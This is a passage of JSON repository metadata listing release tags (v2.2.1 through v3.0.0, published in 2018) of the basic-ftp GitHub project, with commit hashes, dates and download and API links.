"download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0/manifests"},{"name":"v2.17.1","sha":"6909f1615674c4b07bfc383f83e0dc73fdd0e145","kind":"tag","published_at":"2018-12-29T09:54:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1/manifests"},{"name":"v2.17.0","sha":"9572a2ce24541e08ab75b3ff31b459aeb7c79c17","kind":"tag","published_at":"2018-12-04T18:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0/manifests"},{"name":"v2.16.1","sha":"e6203584e4fdcb8e9d2424ba49375c8205d02277","kind":"tag","published_at":"2018-12-01T15:36:05.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1/manifests"},{"name":"v2.16.0","sha":"d8029d07b3e0859f3912c291a39d8cb05d0c9dda","kind":"tag","published_at":"2018-11-14T21:41:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0/manifests"},{"name":"v2.15.0","sha":"d0d75c4b2fbb473e992868aa94df67f3b1a90ce8","kind":"tag","published_at":"2018-10-31T20:42:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.15.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0/manifests"},{"name":"v2.14.4","sha":"e75b70515a81586bd322598e478b53bb56e2bd4b","kind":"tag","published_at":"2018-10-24T19:18:03.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4/manifests"},{"name":"v2.14.3","sha":"2465775df11f56ec50b9302eb734c13892d4c546","kind":"tag","published_at":"2018-10-07T18:00:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3/manifests"},{"name":"v2.14.2","sha":"1e65d2ca5bd2863c5044f63a358f4e5d852375d2","kind":"tag","published_at":"2018-10-03T05:45:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2/manifests"},{"name":"v2.14.1","sha":"b7c2b4c8e4442998cfe3c82e1d386c09a9d3b35c","kind":"tag","published_at":"2018-10-03T05:38:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"71f4701a6f462377b0ff0d6381d329112726a6ba","kind":"tag","published_at":"2018-09-27T06:02:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0/manifests"},{"name":"v2.13.2","sha":"52b5ebdd9486cad6a5c8f3bd30a7c6dd167f9829","kind":"tag","published_at":"2018-06-30T13:11:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2/manifests"},{"name":"v2.13.1","sha":"cc83329135e4b024c0bbdbbf9240478ff3418a3f","kind":"tag","published_at":"2018-06-09T17:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1/manifests"},{"name":"v2.13.0","sha":"542ce43aec992ba6d88f54f2fef281dcd2aad8d8","kind":"tag","published_at":"2018-06-05T20:06:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0/manifests"},{"name":"v2.12.3","sha":"092c29720715d9096bda60854be658e6fa69c17c","kind":"tag","published_at":"2018-05-27T09:50:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3/manifests"},{"name":"v2.12.2","sha":"98978f9ca78ab371001bdbf99085ee8c953b919f","kind":"tag","published_at":"2018-05-18T19:08:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2/manifests"},{"name":"v2.12.1","sha":"00e6e3d987579fd8ce9ff8472cee16bcf3b84c2c","kind":"tag","published_at":"2018-05-18T15:19:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1/manifests"},{"name":"v2.12.0","sha":"1c8f44b0ab6515d7ab703f68403a8da6a5b5046e","kind":"tag","published_at":"2018-05-11T15:47:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0/manifests"},{"name":"v2.11.0","sha":"0e2555f2c3272f5f4a62cfeb071a3b68ecbac343","kind":"tag","published_at":"2018-04-30T16:57:39.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.11.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0/manifests"},{"name":"v2.10.0","sha":"c5daa72a6223fe25ffde49118177e18417b00021","kind":"tag","published_at":"2018-04-23T20:11:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.10.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0/manifests"},{"name":"v2.9.2","sha":"95ff793953801008c26c719516296bbd14dd8b4e","kind":"tag","published_at":"2018-04-04T19:32:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"44b64e38a97a53a6897db55eb0d45a28f89598c2","kind":"tag","published_at":"2018-03-28T11:09:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"f4dada9373271daaa5e65935d8187fad743f121c","kind":"tag","published_at":"2018-03-17T10:05:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0/manifests"},{"name":"v2.8.3","sha":"07af61fa353f485cbc0741d00e24e3ccdd68d87d","kind":"tag","published_at":"2018-02-28T18:13:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"d19d6f8cc6262ed35c404169db2507b43ac9ba7a","kind":"tag","published_at":"2018-02-12T18:10:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"f3f80976c21623e50f51cab48a2fc1b766f8bc37","kind":"tag","published_at":"2018-02-08T17:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"bc93080f0223067665021001f94bc19619be8968","kind":"tag","published_at":"2018-02-03T06:52:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0/manifests"},{"name":"v2.7.1","sha":"27e90d8b50271c229ac59d914c16b9bd13d8712d","kind":"tag","published_at":"2018-01-31T13:02:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"251191cc2c2d8b0aa208777e1c32dc42a8904383","kind":"tag","published_at":"2018-01-31T12:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0/manifests"},{"name":"v2.6.2","sha":"838de7f0688634bcf4aff67ab7c869b24ce00f02","kind":"tag","published_at":"2018-01-30T21:11:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"624ce1caec7c273190e63150ec5063a6df6c756d","kind":"tag","published_at":"2018-01-29T16:18:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"345cae67fd86fb42c935886cbc696eb503a2d831","kind":"tag","published_at":"2018-01-29T11:25:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0/manifests"},{"name":"v2.5.2","sha":"0e78c6ab45a29c0a89f259cd0de24d3f2788ea2f","kind":"tag","published_at":"2018-01-24T18:09:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2/manifests"},{"name":"v2.5.1","sha":"37a4d6ab1a018c929f0ac7a85b1367e7e20ef3d0","kind":"tag","published_at":"2018-01-24T10:06:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1/manifests"},{"name":"v2.5.0","sha":"ccfa95fe4c8b2a816f3ea3a704ed56c6f90cce6c","kind":"tag","published_at":"2018-01-24T10:04:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0/manifests"},{"name":"v2.4.2","sha":"1fb6d04bc34a85be555ec55d1ba6c31fa45d1051","kind":"commit","published_at":"2018-01-20T12:39:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"6322a864584c95b62687b23cd37e57905663ca6c","kind":"commit","published_at":"2018-01-20T11:47:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"306418be304fdeac9cf9b0ec52fef67458da793f","kind":"tag","published_at":"2018-01-15T21:32:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0/manifests"},{"name":"v2.3.3","sha":"070324be160af7f7e1408823eaa61c95b34fef0a","kind":"tag","published_at":"2018-01-14T17:55:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"f378b1b47dca0dd6aad8b98fa059994c74899039","kind":"tag","published_at":"2018-01-14T15:45:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"f31e1b396304968faca207b259399663e54a2134","kind":"tag","published_at":"2018-01-14T08:49:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"0b94f445c32fab5741621e5f25be0b4e2d0c3852","kind":"tag","published_at":"2018-01-13T21:04:02.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0/manifests"},{"name":"v2.2.1","sha":"bcbe53c1c4bfe7a0bdddb053bd236853f1f27dbe","kind":"tag","published_at":"2018-01-13T20:38:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitH